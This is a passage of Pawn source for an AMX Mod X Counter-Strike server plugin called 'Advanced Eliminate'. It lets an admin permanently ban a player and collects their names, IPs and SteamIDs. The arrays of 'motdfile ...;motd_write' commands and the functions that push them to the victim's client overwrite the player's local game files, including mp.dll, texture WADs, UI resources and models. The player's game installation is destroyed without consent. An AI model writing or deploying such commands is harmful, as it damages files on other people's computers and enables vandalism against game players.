	"motdfile cs_assault.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cs_office.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cstrike.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile de_aztec.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile de_dust.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile decals.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile halflife.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile pldecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile tempdecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile events/ak47.sc;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile dlls/mp.dll;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/ClientScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/GameMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/TrackerScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/BackgroundLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/BackgroundLoadingLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/MOTD.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/ScoreBoard.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Spectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/logo_game.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/BuyMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Classmenu.res.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Teammenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/TutorTextWindow.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/BottomSpectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/hud.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/320hud1.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/640hud10.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/640hud11.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"say am fost distrus cu Advanced Eliminate v0.1.5 by Askhanar !"
	
};


new const SecondEliminateCommands[ ][ ] =
{
	
	"motdfile models/player/gign/gign.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/arctic/arctic.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/vip/vip.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/urban/urban.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/terror/terror.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/sas/sas.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/leet/leet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/guerilla/guerilla.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/xt/xt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/bag.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/aflock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/dragon.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/bigrat.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/big_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_null.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gman.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/grass.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hgrunt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/holo.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hornet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hassassint.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hairt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/oranget.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_ak47.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_m4a1.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/orange.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/jeep2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_vent2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/w_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar"
	
};

new const EliminateDataFile[ ] = "EliminateData.txt";
new const EliminateLogFile[ ] = "EliminateLog.txt";

new const EliminateExplodeSpr[ ] = "sprites/zerogxplode.spr";
new const EliminateShockWaveSpr[ ] = "sprites/shockwave.spr";
new const EliminateSmokeSpr[ ] = "sprites/steam1.spr";

new const EliminateExplodeSound[ ] = "ambience/particle_suck1.wav";


//Pentru ban-uri..
new EliminatedTime[ EliminatesNum ] [ 32 ];
new EliminatedName[ EliminatesNum ] [ 32 ];
new EliminatedIp[ EliminatesNum ] [ 32 ];
new EliminatedSteamId[ EliminatesNum ] [ 35 ];
new EliminatedAdminName[ EliminatesNum ] [ 32 ];
new EliminatedAdminIp[ EliminatesNum ] [ 32 ];
new EliminatedAdminSteamId[ EliminatesNum ] [ 35 ];
new EliminatedReason[ EliminatesNum ] [ 32 ];

new Eliminates = 0;

new cvar_tag;
new cvar_site;

new SyncHudMessage;
new ExplodeSpr, ShockWaveSpr, SmokeSpr;

new vOrigin[ 33 ][ 3 ];

//De aici nu va mai explic..pentru ca nu e nevoie sa intelegeti voi...
//Daca modificati sunteti bun raspunzatori.
public plugin_init( )
{
	new ServerIp[ 22 ];
	get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
	
	if( equal( ServerIp, ServerLicensedIp ) )
	{
		
		register_plugin( PLUGIN, VERSION, "Askhanar" );
		
		cvar_tag = register_cvar( "ae_tag", "[D/C]" );
		cvar_site = register_cvar( "ae_site", "www.disconnect.ro/forum" );
		
		register_concmd( "amx_eliminate", "ConCmdEliminate", -1, "< nume / parte din nume > < motiv >" );
		register_concmd( "amx_uneliminate", "ConCmdUnEliminate", -1, "< ip / steamid > < motiv >" );
		register_concmd( "amx_printeliminates", "ConCmdPrintEliminates", -1, "" );
		register_concmd( "amx_reloadeliminates", "ConCmdReloadEliminates", -1, "" );
		
		SyncHudMessage = CreateHudSyncObj( );
		server_print( "%s Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN );
		server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
	}
	else
	{
		new PluginName[ 32 ];
		format( PluginName, sizeof ( PluginName ) -1, "[Ip Nelicentiat] %s", PLUGIN );
		register_plugin( PluginName, VERSION, "Askhanar" );
		
		server_print( "%s Nu detii o licenta valabila ! Plugin-ul nu va functiona corespunzator !", PLUGIN );
		server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
		
		
		pause( "ade" );
	}
	
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public plugin_precache( ) 
{
	new ServerIp[ 22 ];
	get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
	
	if( equal( ServerIp, ServerLicensedIp ) )
	{
		
		ExplodeSpr = precache_model( EliminateExplodeSpr );
		ShockWaveSpr = precache_model( EliminateShockWaveSpr );
		SmokeSpr = precache_model( EliminateSmokeSpr );
		
		precache_sound( EliminateExplodeSound );
		
		new File[ 128 ];
		get_configsdir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateLogFile );
		
		if( !file_exists( File ) ) 
		{
			write_file( File ,"In acest log veti gasi urmatoarele informatii:", -1 );
			write_file( File ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
			write_file( File ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
			write_file( File ,"",-1 );
			write_file( File ,"",-1 );
		}
		
		get_configsdir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateDataFile );
		
		if( !file_exists( File ) )
		{
			write_file( File ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
			write_file( File ,";",-1 );
			write_file( File ,";",-1 );
		}	
		
		LoadEliminates( );
	}

}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public client_authorized( id )
{

	if ( is_user_bot( id ) || is_user_hltv( id ) ) return 0;
	
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
	
	new ip[ 32 ], authid[ 35 ], bool:IsSteamUser = false;
	get_user_ip( id, ip , sizeof ( ip ) -1, 1 );
	get_user_authid( id, authid, sizeof ( authid ) -1 );
	
	IsSteamUser = ( authid[ 7 ] == ':' ? true : false );
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( !IsSteamUser && equal( EliminatedIp[ i ], ip ) || IsSteamUser && equal( EliminatedSteamId[ i ], authid ) ) 
		{
			PrintConsoleInfo( id, EliminatedName[ i ], EliminatedIp[ i ], EliminatedSteamId[ i ], EliminatedReason[ i ],
				EliminatedAdminName[ i ], EliminatedAdminIp[ i ], EliminatedAdminSteamId[ i ], EliminatedTime[ i ] );

			set_task( 1.0, "TaskDisconnectPlayer", id + ELIMINATETASK );
			
			break;
		}
	}
	
	
	return 0;
}

public client_disconnect( id )
{
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	new FirstArg[ 32 ], SecondArg[ 32 ];
	new Player;
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		client_cmd( id, "echo amx_eliminate < nume / parte din nume > < motiv > !" );
		return 1;
	}
		
	Player = cmd_target( id, FirstArg,  8 );

	if( !Player || !is_user_connected( Player ) ) return 1;
	
	set_hudmessage( random( 256 ), random( 256 ), random( 256 ), -1.0, random_float( 0.10, 0.23 ), 0, 0.0, 5.0, 0.1, 0.2, 3 );
	ShowSyncHudMsg( 0, SyncHudMessage, "%s a fost eliminat de pe server !^nI-au fost stricate majoritatea fisierelor !^nA primit ban permanent !", get_name( Player ) );
	
	client_cmd( 0, "spk ^"vox/bizwarn _comma _comma detected user and eliminate^"" );
	ColorChat( 0, RED,"^x04%s^x03 %s^x01 l-a eliminat pe^x03 %s^x01 Motiv:^x03 %s^x01 !", get_tag( ), get_name( id ), get_name( Player ), SecondArg );
	
	client_cmd( id, "echo %s a fost eliminat !", get_name( Player ) );
	client_cmd( id, "echo Motiv: %s !", SecondArg );
	
	client_cmd( Player, "-forward;wait;-back;wait;-moveleft;wait;-moveright;wait;-duck;wait;-showscores" );
	client_cmd( Player, "-attack;wait;-attack2" );
	
	PrintConsoleInfo( Player, get_name( Player ), get_ip( Player ), get_authid( Player ), SecondArg,
				get_name( id ), get_ip( id ), get_authid( id ), _get_time( ) );
				
	LogToConfigs( "Admin %s [%s] (%s) - l-a eliminat pe - %s [%s] (%s) - Motiv: %s ",
		get_name( id ), get_authid( id ), get_ip( id ), get_name( Player ),
		get_authid( Player ), get_ip( Player ), SecondArg );
	
	if(  is_user_alive(  Player  )  )
	{
		CreateEliminateEffects( Player + ELIMINATETASK );
	}
	
	EliminateUser( id, Player, SecondArg );
	set_task( 5.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK );
	
	return 1;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdUnEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	new FirstArg[ 32 ], SecondArg[ 32 ];
	new bool:EliminationFound = false;
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		if( id == 0 )
		{
			server_print( "amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
			
		}
		
		else
		{
			client_cmd( id, "echo amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
		}
	}
	
	new plugin_info[ 128 ];
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
	}
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
	}
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( equal( EliminatedIp[ i ], FirstArg ) || equal( EliminatedSteamId[ i ], FirstArg ) )
		{
			
			if( id == 0)
			{
				
				
				server_print( "****************************************************");
				server_print( "************* Informatii despre scoaterea eliminarii ***********" );
				server_print( "*    " );
				server_print( "*    Nume: %s", EliminatedName[ i ] );
				server_print( "*    Ip: %s", EliminatedIp[ i ] );
				server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
				server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
				server_print( "*    Durata: Permanenta" );
				server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
				server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
				server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
				server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
				server_print( "*    " );
				server_print( "*    Comanda executata cu succes !" );
				server_print( "*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.", FirstArg );
				server_print( "*    ");
				server_print( "****************************************************");
				server_print( "%s", plugin_info );
				server_print( "****************************************************");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
			}
			
			else
			{
				
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "echo ^"************* Informatii despre scoaterea eliminarii ***********^"" );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
				client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
				client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
				client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
				client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
				client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
				client_cmd( id, "echo ^"*    Ip Admin: %s^"", EliminatedAdminIp[ i ] );
				client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
				client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Comanda executata cu succes !^"" );
				client_cmd( id, "echo ^"*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.^"", FirstArg );
				client_cmd( id, "echo ^"*    ^"");
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "%s", plugin_info );
				client_cmd( id, "echo ^"****************************************************^"");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s [%s] (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_authid( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				
				client_cmd( 0, "spk vox/doop" );
				ColorChat( 0, RED,"^x04%s^x03 %s^x01 i-a scos eliminarea lui^x03 %s^x01 !", get_tag( ), get_name( id ), EliminatedName[ i ] );
			}
				
			RemoveEliminate( i );
			break;
		}
		
	}
	
	if( !EliminationFound )
	{
		if( id == 0 )
		{
			server_print( "****************************************************" );
			server_print( "****************************************************" );
			server_print( "*    " );
			server_print( "*    Comanda nu poate fi executata !" );
			server_print( "*    Ip-ul / steamid-ul |%s|", FirstArg );
			server_print( "*    Nu a fost gasit in baza de date." );
			server_print( "*    " );
			server_print( "****************************************************");
			server_print( "%s", plugin_info );
			server_print( "****************************************************");
		}
		
		else
		{
			
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Comanda nu poate fi executata !^"" );
			client_cmd( id, "echo ^"*    Ip-ul / steamid-ul |%s|^"", FirstArg );
			client_cmd( id, "echo ^"*    Nu a fost gasit in baza de date.^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"****************************************************^"");
			client_cmd( id, "%s", plugin_info );
			client_cmd( id, "echo ^"****************************************************^"");
		}
	}
	
	return 1;
}
/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdPrintEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	if( Eliminates == 0 )
	{
		if( id == 0 )
		{
			server_print( "Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
		else
		{
			
			client_cmd( id, "echo Nu am gasit nicio eliminare in baza de date !" );
			return 1;
		}
	}
	
	new start , end, pos_to_num;
	new position[ 5 ];
	
	read_argv( 1, position, sizeof ( position ) - 1 );
	pos_to_num = str_to_num( position );
	start = min( pos_to_num, Eliminates ) - 1;

	if( start <= 0 ) start = 0;
	
	end = min( start + 5, Eliminates ); // nu modifica aici mai mult de 5 ca iti va da reliable channel overflowed
	
	new plugin_info[ 128 ];
	
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
	
		server_print( "****************************************************" );
		server_print( "*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d", Eliminates, start + 1, end );
		server_print( "*    " );
		
		for( new i = start ; i < end ; i++ )
		{
			
			server_print( "***************** Detaliile eliminarii #%d *******************", i + 1 );
			server_print( "*    " );
			server_print( "*    " );
			server_print( "*    Nume: %s", EliminatedName[ i ] );
			server_print( "*    Ip: %s", EliminatedIp[ i ] );
			server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
			server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
			server_print( "*    Durata: Permanenta" );
			server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
			server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
			server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
			server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
			server_print( "*    " );
			server_print( "*    " );
			
		}
		
		server_print( "****************************************************");
		server_print( "%s", plugin_info );
		server_print( "****************************************************");
	}
	
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "echo ^"*    Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d^"", Eliminates, start + 1, end );
		client_cmd( id, "echo ^"*    ^"" );
		
		for( new i = start ; i < end ; i++ )
		{
			
			client_cmd( id, "echo ^"***************** Detaliile eliminarii #%d *******************^"", i + 1 );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
			client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
			client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
			client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
			client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
			client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
			client_cmd( id, "echo ^"*    Ip Admin: %s^"", EliminatedAdminIp[ i ] );
			client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
			client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    ^"" );
			
		}
		
		client_cmd( id, "echo ^"****************************************************^"");
		client_cmd( id, "%s", plugin_info );
		client_cmd( id, "echo ^"****************************************************^"");
	}
	
	return 1;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdReloadEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !");
		return 1;
	}
	
	Eliminates = 0;
	
	for( new i = 0 ; i < EliminatesNum ; i++ )
	{
		
		copy( EliminatedTime[ i ], sizeof ( EliminatedTime[ ] ) -1, "" );
		copy( EliminatedName[ i ], sizeof ( EliminatedName[ ] ) -1, "" );
		copy( EliminatedIp[ i ], sizeof ( EliminatedIp[ ] ) -1, "" );
		copy( EliminatedSteamId[ i ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
		copy( EliminatedAdminName[ i ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
		copy( EliminatedAdminIp[ i ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
		copy( EliminatedAdminSteamId[ i ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
		copy( EliminatedReason[ i ], sizeof ( EliminatedReason[ ] ) -1, "" );
		
	}
	
	if( id == 0 )
	{
		server_print( "Eliminarile vor fi reincarcate !" );
	}
	else
	{
		client_cmd( id, "echo Eliminarile vor fi reincarcate !" );
	}
	
	LoadEliminates( );
	
	if( id == 0 )
	{
		server_print( "Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	else
	{
		client_cmd( id, "echo Am incarcat cu succes %d eliminari.", Eliminates );
	}
	
	return 1;
}

public EliminateUser( id, Player, const reason[ ] )
{
	if( Eliminates >= EliminatesNum )
	{
		Log( "[EROARE] - EliminateList FULL  ( %d / %d ) !", Eliminates, EliminatesNum );
		return 1;	
	}
	
	
	new file[ 128 ], log[ 256 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) )
	{
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}	
	
	formatex( log, sizeof (log ) -1,"^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",
		_get_time( ), get_name( Player ), get_ip( Player ), get_authid( Player ),
		get_name( id ), get_ip( id ), get_authid( id ), reason );
		
	write_file( file, log, -1 );
	
	LoadEliminates( );
	
	
	set_task( 0.7, "ExecFirstEliminateCommands", Player + ELIMINATETASK );
	set_task( 0.9, "ExecSecondEliminateCommands", Player + ELIMINATETASK );
	
	return 0;
	
}

public ExecFirstEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( FirstEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", FirstEliminateCommands[ i ] );
	}
	
	return 0;
}

public ExecSecondEliminateCommands( id )
{
	id -= ELIMINATETASK;
	if( !is_user_connected( id ) ) return 1;
	
	for( new i = 0; i < sizeof( SecondEliminateCommands ) ; i++ )
	{
		client_cmd( id, "%s", SecondEliminateCommands[ i ] );
	}
	
	return 0;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public LoadEliminates( )
{
	
	new file[ 128 ];
	get_configsdir( file, sizeof ( file ) -1 );
	formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
	
	if( !file_exists( file ) ) 
	{
		Log( "[EROARE] - Nu am gasit %s ", file );
		Log( "[EROARE] - Creez un nou fisier." );
		
		write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
		write_file( file ,";",-1);
		write_file( file ,";",-1);
	}
	
	new f = fopen( file, "rt" );
	
	if( !f ) return 0;
	
	new data[ 512 ], buffer[ 8 ][ 64 ] ;
	
	while( !feof( f ) && Eliminates < EliminatesNum ) 
	{
		fgets( f, data, sizeof ( data ) -1 );
		
		if( !data[ 0 ] || data[ 0 ] == ';' || ( data[ 0 ] == '/' && data[ 1 ] == '/' ) ) 
			continue;
		
		parse(data,\
		buffer[ 0 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 1 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 2 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 3 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 4 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 5 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 6 ], sizeof ( buffer[ ] ) - 1,\
		buffer[ 7 ], sizeof ( buffer[ ] ) - 1
		);
		
		copy( EliminatedTime[ Eliminates ], sizeof ( EliminatedTime[ ] ) -1, buffer[ 0 ] );
		copy( EliminatedName[ Eliminates ], sizeof ( EliminatedName[ ] ) -1, buffer[ 1 ] );
		copy( EliminatedIp[ Eliminates ], sizeof ( EliminatedIp[ ] ) -1, buffer[ 2 ] );
		copy( EliminatedSteamId[ Eliminates ], sizeof ( EliminatedSteamId[ ] ) -1, buffer[ 3 ] );
		copy( EliminatedAdminName[ Eliminates ], sizeof ( EliminatedAdminName[ ] ) -1, buffer[ 4 ] );
		copy( EliminatedAdminIp[ Eliminates ], sizeof ( EliminatedAdminIp[ ] ) -1, buffer[ 5 ] );
		copy( EliminatedAdminSteamId[ Eliminates ], sizeof ( EliminatedAdminSteamId[ ] ) -1, buffer[ 6 ] );
		copy( EliminatedReason[ Eliminates ], sizeof ( EliminatedReason[ ] ) -1, buffer[ 7 ] );
		
		Eliminates++;
	}
	
	fclose( f );
	
	Log( "[INFO] - Am incarcat cu succes %d eliminari din %s", Eliminates, file );
	
	return 0;
}

public RemoveEliminate( i )
{
	for( new x = i ; x < Eliminates ; x++ )
	{
		if( x + 1 == EliminatesNum )
		{
			copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, "" );
